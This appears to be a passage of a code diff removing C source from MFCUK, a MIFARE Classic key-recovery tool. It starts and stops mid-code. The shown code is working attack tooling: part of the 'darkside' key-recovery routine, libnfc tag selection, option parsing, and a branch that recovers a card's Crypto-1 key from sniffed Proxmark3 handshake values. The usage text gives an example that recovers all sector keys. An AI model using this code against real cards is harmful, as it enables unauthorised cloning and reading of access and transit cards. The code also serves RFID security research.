MFCUK_DARKSIDE_START_AR; - ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; - - // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same - ptrFoundTagNonceEntry->current_out_of_8 = -1; - - return MFCUK_FAIL_CRAPTO; - } - } - } - } - else if (szRx == 32) - { - // Are we so MFCUKing lucky (?!), since ui64Key is a "dummy" key - flag_key_recovered = true; - *ui64KeyRecovered = ui64Key; - } - - //printf(" At: "); - //print_hex_par(abtRx,szRx,abtRxPar); - - crypto1_destroy(pcs); - - if (flag_key_recovered) - { - return MFCUK_OK_KEY_RECOVERED; - } - else - { - return MFCUK_SUCCESS; - } -} - -/* -TODO: -- have an option with frequency of the display information, and with portable way of getting elapsed time --m max_iterations - stop everything after so many iterations, default is infinite until all keys found --T max_elapsed_time - stop after time elapsed -*/ -void print_usage(FILE *fp, const char * prog_name) -{ - fprintf(fp, "Usage:\n"); - fprintf(fp, "-C - require explicit connection to the reader. Without this option, the connection is not made and recovery will not occur\n"); - fprintf(fp, "-i mifare.dmp - load input mifare_classic_tag type dump\n"); - fprintf(fp, "-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_classic_tag type dump\n"); - fprintf(fp, "-o mifare.dmp - output the resulting mifare_classic_tag dump to a given file\n"); - fprintf(fp, "-O mifare_ext.dmp - output the resulting extended dump to a given file\n"); - fprintf(fp, "-V sector[:A/B/any_other_alphanum[:fullkey]] - verify key for specified sector, -1 means all sectors\n"); - fprintf(fp, "\tAfter first semicolon key-type can specified: A verifies only keyA, B verifies only keyB, anything else verifies both keys\n"); - fprintf(fp, "\tAfter second semicolon full 12 hex-digits key can specified - this key will override any loaded dump key for the given sector(s) and key-type(s)\n"); - fprintf(fp, "-R sector[:A/B/any_other_alphanum] - recover key for sector, -1 means all sectors.\n"); - fprintf(fp, "\tAfter first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys\n"); - fprintf(fp, "-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded\n"); - fprintf(fp, "-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire\n"); - fprintf(fp, "-D - for sectors and key-types marked for verification, in first place use default keys to verify (maybe you are lucky)\n"); - fprintf(fp, "-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys\n"); - fprintf(fp, "-s - miliseconds to sleep for DROP FIELD\n"); - fprintf(fp, "-S - miliseconds to sleep for CONSTANT DELAY\n"); - fprintf(fp, "-P hex_literals_separated - try to recover the key from a conversation sniffed with Proxmark3 (mifarecrack.c based). Accepts several options:\n"); - fprintf(fp, "\tConcatenated string in hex literal format of form uid:tag_chal:nr_enc:reader_resp:tag_resp\n"); - fprintf(fp, "\tExample -P 0x5c72325e:0x50829cd6:0xb8671f76:0xe00eefc9:0x4888964f would find key FFFFFFFFFFFF\n"); - fprintf(fp, "-p proxmark3_full.log - tries to parse the log file on it's own (mifarecrack.py based), get the values for option -P and invoke it\n"); - fprintf(fp, "-F - tries to fingerprint the input dump (-i) against known cards' data format\n"); - fprintf(fp, "\n"); - - fprintf(fp, "Usage examples:\n"); - fprintf(fp, " Recove all keys from all sectors:\n"); - fprintf(fp, " %s -C -R -1\n", prog_name); - return; -} - -void print_identification() -{ - fprintf(stdout, "%s - %s\n", PACKAGE_NAME, PACKAGE_VERSION); - fprintf(stdout, "%s - %s\n", BUILD_NAME, BUILD_VERSION); - fprintf(stdout, "by %s\n", BUILD_AUTHOR); - fprintf(stdout, "\n"); -} - -void print_mifare_classic_tag_actions(const char *title, mifare_classic_tag *tag) -{ - uint32_t i, max_blocks, trailer_block; - byte_t bTagType; - mifare_classic_block_trailer *ptr_trailer = NULL; - - if (!tag) - { - return; - } - - bTagType = tag->amb->mbm.btUnknown; - - if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) - { - return; - } - - printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n", - title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType, - (IS_MIFARE_CLASSIC_1K(bTagType)?(MIFARE_CLASSIC_1K_NAME):(IS_MIFARE_CLASSIC_4K(bTagType)?(MIFARE_CLASSIC_4K_NAME):(MIFARE_CLASSIC_UNKN_NAME))) - ); - printf("---------------------------------------------------------------------\n"); - printf("Sector\t| Key A\t|ACTS | RESL\t| Key B\t|ACTS | RESL\n"); - printf("---------------------------------------------------------------------\n"); - - if ( IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown) ) - { - max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; - } - else - { - max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; - } - - for (i=0; iabtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2], - ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5], - (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_VERIFY)?'V':'.', - (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_RECOVER)?'R':'.', - (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_VERIFY)?'V':'.', - (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_RECOVER)?'R':'.', - ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2], - ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5], - (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_VERIFY)?'V':'.', - (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_RECOVER)?'R':'.', - (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_VERIFY)?'V':'.', - (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_RECOVER)?'R':'.' - ); - - // Go beyond current trailer block, i.e. go to next sector - i = trailer_block; - } - - printf("\n"); - - return; -} - -bool mfcuk_darkside_reset_advanced(nfc_device_t* pnd) -{ - if ( !nfc_configure(pnd,NDO_HANDLE_CRC,true) ) - { - //ERR("configuring NDO_HANDLE_CRC"); - //return false; - } - - if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,true) ) - { - //ERR("configuring NDO_HANDLE_PARITY"); - //return false; - } - - return true; -} - -bool mfcuk_darkside_select_tag(nfc_device_t* pnd, int iSleepAtFieldOFF, int iSleepAfterFieldON, nfc_target_info_t* ti) -{ - nfc_target_t ti_tmp; - - if ( !pnd || !ti ) - { - ERR("some parameter are NULL"); - return false; - } - - // Drop the field for a while, so the card can reset - if ( !nfc_configure(pnd,NDO_ACTIVATE_FIELD,false) ) - { - ERR("configuring NDO_ACTIVATE_FIELD"); - return false; - } - - // {WPMCC09} 2.4. Tag nonces: "drop the field (for approximately 30us) to discharge all capacitors" - sleep(iSleepAtFieldOFF); - - // Let the reader only try once to find a tag - if ( !nfc_configure(pnd,NDO_INFINITE_SELECT,false) ) - { - ERR("configuring NDO_INFINITE_SELECT"); - return false; - } - - // Configure the CRC and Parity settings - if ( !nfc_configure(pnd,NDO_HANDLE_CRC,true) ) - { - ERR("configuring NDO_HANDLE_CRC"); - return false; - } - - if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,true) ) - { - ERR("configuring NDO_HANDLE_PARITY"); - return false; - } - - // Enable field so more power consuming cards can power themselves up - if ( !nfc_configure(pnd,NDO_ACTIVATE_FIELD,true) ) - { - ERR("configuring NDO_ACTIVATE_FIELD"); - return false; - } - - // Switch the field back on, and wait for a constant amount of time before authenticating - sleep(iSleepAfterFieldON); - - // Poll for a ISO14443A (MIFARE) tag - if (!nfc_initiator_select_passive_target(pnd, nmMifare,NULL,0,&ti_tmp)) - { - ERR("connecting to MIFARE Classic tag"); - //nfc_disconnect(pnd); - return false; - } - - memcpy( ti, &ti_tmp, sizeof(ti_tmp) ); - - return true; -} - -int main(int argc, char* argv[]) -{ - // getopt related - int ch = 0; - char strOutputFilename[256] = {0}; // Initialize with '\0' character - //char extendedDescription[MFCUK_EXTENDED_DESCRIPTION_LENGTH] = {0}; // Initialize with '\0' character - byte_t keyOpt[MIFARE_CLASSIC_KEY_BYTELENGTH] = {0}; - byte_t uidOpt[MIFARE_CLASSIC_UID_BYTELENGTH] = {0}; - mifare_classic_block_trailer *ptr_trailer = NULL; - mifare_classic_block_trailer *ptr_trailer_dump = NULL; - int sector = 0; - uint32_t block = 0; - byte_t action = 0; - byte_t specific_key_type = 0; - byte_t max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS; - // Defaults, can be overriden by -S and -s command line arguments - int iSleepAtFieldOFF = SLEEP_AT_FIELD_OFF; // modified with argument -S - int iSleepAfterFieldON = SLEEP_AFTER_FIELD_ON; // modified with argument -s - - char *token = NULL; - char *sep = ":"; - char *str = NULL; - int iter = 0; - - // libnfc related - nfc_device_t* pnd; - nfc_target_t ti; - - // mifare and crapto related - uint32_t uiErrCode = MFCUK_SUCCESS; - uint64_t ui64KeyRecovered; - mifare_classic_tag_ext dump_loaded_tag; - mifare_classic_tag_ext tag_on_reader; - mifare_classic_tag_ext tag_recover_verify; - - // fingerprint options related - mifare_classic_tag finger_tag; - float finger_score; - float finger_score_highest; - int finger_index_highest; - - // proxmark3 log related - #define PM3_UID 0 - #define PM3_TAG_CHAL 1 - #define PM3_NR_ENC 2 - #define PM3_READER_RESP 3 - #define PM3_TAG_RESP 4 - #define PM3_MULTISECT_AUTH 5 - - uint32_t pm3_full_set_log[5]; // order is: uid, tag_challenge, nr_enc, reader_response, tag_response - uint32_t pm3_log_multisect_auth; - uint32_t pm3_ks2; - uint32_t pm3_ks3; - struct Crypto1State *pm3_revstate = NULL; - struct Crypto1State *pm3_revstate_multisect_auth = NULL; - uint64_t pm3_lfsr; - unsigned char* pm3_plfsr = (unsigned char*)&pm3_lfsr; - uint8_t pm3_log_multisect_decrypted[4]; - uint8_t pm3_log_multisect_verified[4]; - - // various related - int i, j, k; - size_t st; - int numDefKeys = mfcuk_default_keys_num; - byte_t (*current_default_keys)[MIFARE_CLASSIC_KEY_BYTELENGTH]; - - // At runtime, duplicate the mfcuk_default_keys[], and then add at it's bottom the default keys specified via -d command line options - if ( !(current_default_keys = malloc(numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH)) ) - { - ERR("failed to allocate memory for current_default_keys"); - return 1; - } - - // Init the structs - memcpy( current_default_keys, mfcuk_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH); - memset( &dump_loaded_tag, 0, sizeof(dump_loaded_tag) ); - memset( &tag_on_reader, 0, sizeof(tag_on_reader) ); - memset( &tag_recover_verify, 0, sizeof(tag_recover_verify) ); - - tag_recover_verify.type = MIFARE_CLASSIC_4K; - tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = MIFARE_CLASSIC_4K; - - // "Sort-of" initializing the entries - memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries)); - - // MAIN ( broken-brain (: ) logic of the tool - // --------------------------------------- - clear_screen(); - - print_identification(); - - if (argc < 2) - { - print_usage(stdout, argv[0]); - return 1; - } - - // Load fingerprinting "database" - mfcuk_finger_load(); -/* - if (mfcuk_finger_load() == 0) - { - ERR ("Unable to load any fingerprinting database."); - exit (EXIT_FAILURE); - } -*/ - // OPTION PROCESSING BLOCK - // TODO: for WIN32 figure out how to use unistd/posix-compatible Gnu.Getopt.dll (http://getopt.codeplex.com) - // For WIN32 using VERY limited (modified) Xgetopt (http://www.codeproject.com/KB/cpp/xgetopt.aspx) - while ((ch = getopt(argc, argv, "htTDCi:I:o:O:V:R:S:s:v:M:U:d:n:P:p:F:")) != -1) // -1 or EOF - { - switch(ch) - { - // Name for the extended dump - case 'n': - strncpy( tag_recover_verify.description, optarg, sizeof(tag_recover_verify.description) ); - break; - case 'C': - bfOpts[ch] = true; - break; - // Additional default key option - case 'd': - memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH); - - if ( strlen(optarg) != (MIFARE_CLASSIC_KEY_BYTELENGTH*2) ) - { - // accept only 12 hex digits (fully qualified) Mifare Classic keys - WARN("invalid length key argument (%s)", optarg); - break; - } - - for (st=0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) - { - if ( !is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1]) ) - { - // bad input hex string - WARN("invalid hex chars in key argument (%s)", optarg); - break; - } - keyOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]); - } - - // Increase number of keys - numDefKeys++; - - // Also increase the memory to hold one more key. Hope not many keys will be specified, - // so realloc() will not impact performance and will not fragment memory - if ( !(current_default_keys = realloc(current_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH)) ) - { - ERR("failed to reallocate memory for current_default_keys"); - return 1; - } - - memcpy( &(current_default_keys[numDefKeys-1]), &keyOpt, MIFARE_CLASSIC_KEY_BYTELENGTH); - - // Mark current option as specified (though not used in any checks) - bfOpts[ch] = true; - - // Force the use of default keys - bfOpts['D'] = true; - - break; - // Verbose option and level - case 'v': - if ( !(i = atoi(optarg)) || (i < 1) ) - { - WARN("non-supported verbose-level value (%s)", optarg); - } - else - { - verboseLevel = i; - bfOpts[ch] = true; - } - break; - case 'M': - // Mifare Classic type option - if ( !(i = atoi(optarg)) || (!IS_MIFARE_CLASSIC_1K(i) && !IS_MIFARE_CLASSIC_4K(i)) ) - { - WARN("non-supported tag type value (%s)", optarg); - } - else - { - tag_recover_verify.type = i; - tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = i; - bfOpts[ch] = true; - } - break; - case 'U': - // UID option - if ( strlen(optarg) != (MIFARE_CLASSIC_UID_BYTELENGTH*2) ) - { - // accept only 8 hex digits (fully qualified) Mifare Classic keys - WARN("invalid length UID argument (%s)", optarg); - break; - } - - for (st=0; st < MIFARE_CLASSIC_UID_BYTELENGTH; st++) - { - if ( !is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1]) ) - { - // bad input hex string - WARN("invalid hex chars in key argument (%s)", optarg); - break; - } - uidOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]); - } - - if (st >= MIFARE_CLASSIC_UID_BYTELENGTH) - { - tag_recover_verify.uid = bswap_32(*((uint32_t *) &uidOpt)); - memcpy( tag_recover_verify.tag_basic.amb[0].mbm.abtUID, uidOpt, MIFARE_CLASSIC_UID_BYTELENGTH ); - bfOpts[ch] = true; - } - break; - case 'S': - // Sleep for "AT FIELD OFF" - if ( !(i = atoi(optarg)) || (i < 1) || (i > 10000) ) - { - WARN("non-supported sleep-AT-field OFF value (%s)", optarg); - } - else - { - iSleepAtFieldOFF = i; - bfOpts[ch] = true; - } - break; - case 's': - // Sleep for "AFTER FIELD ON" - if ( !(i = atoi(optarg)) || (i < 1) || (i > 10000) ) - { - WARN("non-supported sleep-AFTER-field ON value (%s)", optarg); - } - else - { - iSleepAfterFieldON = i; - bfOpts[ch] = true; - } - break; - case 'D': - // Use DEFAULT KEYS for verification of sectors and key-types marked as ACTIONS_VERIFY - bfOpts[ch] = true; - break; - case 'R': - case 'V': - // Recover or Verify - action = (ch=='R')?ACTIONS_RECOVER:ACTIONS_VERIFY; - - token = NULL; - str = optarg; - iter = 0; - while ( (token = strtok(str, sep)) && (iter < 3) ) - { - switch(iter) - { - // Here is the sector argument - case 0: - // BUG: if sector is 0, atoi() returns 0 (ok); if sector is non-numeric, atoi() returns also 0 (not-ok) - cannot differentiate - if ( !(sector = atoi(token)) && (token[0] != '0') ) - { - WARN("non-numeric sector argument (%s)", token); - return 1; - } - - // We don't know apriori whether loaded dump or the card on the reader is 1K or 4K, so assume validity for 4K - if ( (sector != -1) && !is_valid_sector(MIFARE_CLASSIC_4K, sector) ) - { - WARN("invalid sector argument (%d)", sector); - return 1; - } - else - { - for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) - { - // TODO: proper error handling for block and ptr_trailer - block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); - ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - - ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action; - ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action; - } - } - break; - // Here is the key-type argument - // after case 0, we can assume sector is a safe and valid sector - case 1: - switch(token[0]) - { - case 'A': - case 'B': - specific_key_type = keyA + (token[0] - 'A'); - - // Invalidate all the opposite keys - for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) - { - // TODO: proper error handling for block and ptr_trailer - block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); - ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - - ptr_trailer->abtAccessBits[ACTIONS_KEY_B * (1 - (token[0]-'A'))] &= (~action); - } - break; - default: - specific_key_type = 0; - - // Validate all the key-types - for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) - { - // TODO: proper error handling for block and ptr_trailer - block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); - ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - - ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action; - ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action; - } - break; - } - break; - // Here is the key argument - // after case 0, we can assume sector is a safe and valid sector - case 2: - // Recovery does not need a key - if (ch == 'R') - { - break; - } - - memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH); - - if ( strlen(token) != (MIFARE_CLASSIC_KEY_BYTELENGTH*2) ) - { - // accept only 12 hex digits (fully qualified) Mifare Classic keys - WARN("invalid length key argument (%s)", token); - break; - } - - for (st=0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) - { - if ( !is_hex(token[2 * st]) || !is_hex(token[2 * st + 1]) ) - { - // bad input hex string - WARN("invalid hex chars in key argument (%s)", token); - break; - } - keyOpt[st] = hex2bin(token[2 * st], token[2 * st + 1]); - } - - for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) - { - // TODO: proper error handling for block and ptr_trailer - block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); - ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - - if ( !specific_key_type || specific_key_type == keyA ) - { - memcpy( &(ptr_trailer->abtKeyA[0]), keyOpt, sizeof(keyOpt)); - ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= ACTIONS_KEYSET; - } - - if ( !specific_key_type || specific_key_type == keyB ) - { - memcpy( &(ptr_trailer->abtKeyB[0]), keyOpt, sizeof(keyOpt)); - ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= ACTIONS_KEYSET; - } - } - break; - // We do not support any other arguments for now for -R/-V option - default: - break; - } - str = NULL; - iter++; - } - break; - case 'i': - // Input simple dump file of type mifare_classic_tag, Options i and I are autoexclusive - if (!bfOpts['i'] && !bfOpts['I']) - { - if ( !mfcuk_load_tag_dump(optarg, &(dump_loaded_tag.tag_basic)) ) - { - WARN("Unable to load tag dump from '%s'", optarg); - } - else - { - bfOpts[ch] = true; - } - } - break; - case 'I': - // Input extended dump file of type mifare_classic_tag_ext, Options i and I are autoexclusive - if (!bfOpts['i'] && !bfOpts['I']) - { - if ( !mfcuk_load_tag_dump_ext(optarg, &(dump_loaded_tag)) ) - { - WARN("Unable to load tag dump from '%s'", optarg); - } - else - { - bfOpts[ch] = true; - } - } - break; - case 'o': - case 'O': - // Output simple/extended dump file, Options o and O are autoexclusive - if (!bfOpts['o'] && !bfOpts['O']) - { - strncpy( strOutputFilename, optarg, sizeof(strOutputFilename) ); - bfOpts[ch] = true; - } - break; - // Run just test-cases for verifying the correctnes of is_ and get_ block/sector functions - case 't': - // Requested test of Mifare Classic 1K Blocks and Sectors functionality - test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_1K); - bfOpts[ch] = true; - break; - case 'T': - // Requested test of Mifare Classic 4K Blocks and Sectors functionality - test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_4K); - bfOpts[ch] = true; - break; - case 'P': - token = NULL; - str = optarg; - iter = 0; - - // parse the arguments of the option. ugly, ugly... i know :-S - while ( (token = strtok(str, sep)) && (iter < sizeof(pm3_full_set_log)/sizeof(pm3_full_set_log[0])) ) - { - str = NULL; - errno = 0; - pm3_full_set_log[iter] = strtoul(token, NULL, 16); - - // strtoul failed somewhere. WTF?! strtoul() is not properly setting errno... errrrrggh! - if (errno != 0) - { - WARN("Invalid hex literal %s for option -P at position %d", optarg, iter); - } - - iter++; - } - - // if not all arguments were fine, fire warning - if ( iter != sizeof(pm3_full_set_log)/sizeof(pm3_full_set_log[0]) ) - { - WARN("Invalid number of hex literal for option -P"); - } - // otherwise try to recover - else - { - /* - // TODO: implement better this function - mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr); - */ - pm3_ks2 = pm3_full_set_log[PM3_READER_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 64); - pm3_ks3 = pm3_full_set_log[PM3_TAG_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 96); - - pm3_revstate = lfsr_recovery64(pm3_ks2, pm3_ks3); - lfsr_rollback_word(pm3_revstate, 0, 0); - lfsr_rollback_word(pm3_revstate, 0, 0); - lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_NR_ENC], 1); - lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_UID] ^ pm3_full_set_log[PM3_TAG_CHAL], 0); - crypto1_get_lfsr(pm3_revstate, &pm3_lfsr); - printf("proxmark3 log key: %02x%02x%02x%02x%02x%02x\n", pm3_plfsr[5], pm3_plfsr[4], pm3_plfsr[3], pm3_plfsr[2], pm3_plfsr[1], pm3_plfsr[0]); - crypto1_destroy(pm3_revstate); - - // If all minimum required details from the log were parsed and still there are some more hex tokens, it might be a multi-sector authentication test request - if (token) - { - errno = 0; - pm3_log_multisect_auth = strtoul(token, NULL, 16); - - // strtoul failed somewhere. WTF?! strtoul() is not properly setting errno... errrrrggh! - if (errno != 0) - { - WARN("Invalid hex literal %s for option -P at position %d", optarg, iter); - } - else - { - // TODO: what if the multi-sect authentication comes not directly after the first successful plain authentication, i.e. several read/write/incr/decr command occur first then multi-sect auth?! how does this affects the crypto stream/state, what should we do? need to simulate with a nfc-multisect-auth program which has tests with interleaved multi-sect authentications - pm3_revstate_multisect_auth = lfsr_recovery64(pm3_ks2, pm3_ks3); - - for (i=0; i<4; i++) - { - uint8_t multisect_auth_byte = (pm3_log_multisect_auth >> (8 * (3-i))) & 0xFF; - pm3_log_multisect_decrypted[i] = crypto1_byte(pm3_revstate_multisect_auth,0x00,0) ^ multisect_auth_byte; - pm3_log_multisect_verified[i] = pm3_log_multisect_decrypted[i]; - } - - if ( (pm3_log_multisect_decrypted[0] == MC_AUTH_A || pm3_log_multisect_decrypted[0] == MC_AUTH_B) - // TODO: This "<= MIFARE_CLASSIC_4K_MAX_BLOCKS" should be properly checked against either MIFARE_CLASSIC_1K_MAX_BLOCKS or MIFARE_CLASSIC_4K_MAX_BLOCKS (depending on card type detected) - && (pm3_log_multisect_decrypted[1] >= 0x00 && pm3_log_multisect_decrypted[1] <= MIFARE_CLASSIC_4K_MAX_BLOCKS) - ) - { - iso14443a_crc_append(pm3_log_multisect_verified, 2); - int multisect_auth_verified = 1; - for (i=0; i<4; i++) - { - if (pm3_log_multisect_verified[i] != pm3_log_multisect_decrypted[i]) - { - multisect_auth_verified = 0; - break; - } - } - - printf("proxmark3 log multi-sect auth detected: %02X %02X %02X %02X (parity crc %s)\n", pm3_log_multisect_decrypted[0], pm3_log_multisect_decrypted[1], pm3_log_multisect_decrypted[2], pm3_log_multisect_decrypted[3], multisect_auth_verified?"ok":"NOK"); - } - - crypto1_destroy(pm3_revstate_multisect_auth); - } - } - } - break; - case 'p': - /* - if (mfcuk_pm3_parse_log(optarg, pm3_full_set)) - { - mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr); - } - else - { - } - */ - printf("NOT IMPLEMENTED YET...\n"); - break; - case 'F': - if ( !mfcuk_load_tag_dump(optarg, &(finger_tag)) ) - { - WARN("Unable to load tag dump from '%s'", optarg); - } - else - { - finger_score_highest = -1.0f; - finger_index_highest = -1; - for (i = 0; i finger_score_highest) - { - finger_score_highest = finger_score; - finger_index_highest = i; - } - } - - if (finger_index_highest > -1) - { - printf("Tag '%s' matches '%s' with highest score %f\n", optarg, mfcuk_finger_db[finger_index_highest].tmpl_name, finger_score_highest); - mfcuk_finger_db[finger_index_highest].tmpl_decoder_func(&(finger_tag)); - } - else - { - printf("No template found to match tag '%s'\n", optarg); - } - } - break; - case 'h': - // Help screen - print_usage(stdout, argv[0]); - return 0; - break; - case '?': - default: - // Help screen, on error output - ERR("Unknown option %c\n", ch); - print_usage(stderr, argv[0]); - return 1; - break; - } - } - - // Unload fingerprinting - mfcuk_finger_unload(); - - // If tests were requested, exit after tests completed - if ( bfOpts['t'] || bfOpts['T'] ) - { - return 0; - } - - // In case default keys requested (and maybe more specified on command line), - // print the default keys which will be used - if ( bfOpts['D'] ) - { - if (bfOpts['v'] && (verboseLevel > 0)) - { - printf("DEFAULT KEYS:\n"); - - // Skip the key at index 0, since it is initially 0x0 and is reserved for the loaded dump key - for (i=1; i 0)) - { - print_mifare_classic_tag_keys("LOADED TAG DUMP", &(dump_loaded_tag.tag_basic)); - } - - // Overwrite from the loaded dump only the keys for sectors and keys which were not specified on command line - for (i=0; i < MIFARE_CLASSIC_4K_MAX_SECTORS; i++) - { - // TODO: proper error handling for block and ptr_trailer - block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); - ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - ptr_trailer_dump = (mifare_classic_block_trailer *) ((char *)(&dump_loaded_tag.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - - // If no command line keyA is set, copy from loaded dump - if ( !(ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_KEYSET) ) - { - memcpy( &(ptr_trailer->abtKeyA[0]), &(ptr_trailer_dump->abtKeyA[0]), MIFARE_CLASSIC_KEY_BYTELENGTH); - // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD - } - - // If no command line keyB is set, copy from loaded dump - if ( !(ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_KEYSET) ) - { - memcpy( &(ptr_trailer->abtKeyB[0]), &(ptr_trailer_dump->abtKeyB[0]), MIFARE_CLASSIC_KEY_BYTELENGTH); - // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD - } - } - - // If no command line UID supplied and not tag-type specified, copy the manufacturer block from the loaded dump - if ( !bfOpts['U'] && !bfOpts['M'] ) - { - ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - ptr_trailer_dump = (mifare_classic_block_trailer *) ((char *)(&dump_loaded_tag.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); - - memcpy( ptr_trailer, ptr_trailer_dump, sizeof(*ptr_trailer) ); - tag_recover_verify.type = tag_recover_verify.tag_basic.amb[0].mbm.btUnknown; - tag_recover_verify.uid = bswap_32 (*((uint32_t *) &(tag_recover_verify.tag_basic.amb[0].mbm.abtUID))); - } - } - - if (!bfOpts['C']) - { - printf("NO Connection to reader requested (need option -C). Exiting...\n"); - return 0; - } - - // READER INITIALIZATION BLOCK - // Try to open the NFC reader - pnd = nfc_connect(NULL); - - if (pnd == NULL) - { - ERR("connecting to NFC reader"); - return 1; - } - - if ( !nfc_initiator_init(pnd) ) - { - ERR("initializing NFC reader: %s", pnd->acName); - nfc_disconnect(pnd); - return 1; - } - - printf("\nINFO: Connected to NFC reader: %s\n\n", pnd->acName); - - // Select tag and get tag info - if ( !mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti.nti) ) - { - ERR("selecting tag on the reader %s", pnd->acName); - nfc_disconnect(pnd); - return 1; - } - - mfcuk_darkside_reset_advanced(pnd); - - // Tag on the reader type - tag_on_reader.type = ti.nti.nai.btSak; - tag_on_reader.tag_basic.amb[0].mbm.btUnknown = ti.nti.nai.btSak; - - // No command line tag type specified, take it from the tag on the reader - if ( !bfOpts['M'] ) - { - tag_recover_verify.type = ti.nti.nai.btSak; - tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = ti.nti.nai.btSak; - } - - // Tag on the reader UID - tag_on_reader.uid = bswap_32(*((uint32_t *) &(ti.nti.nai.abtUid))); - memcpy( tag_on_reader.tag_basic.amb[0].mbm.abtUID, 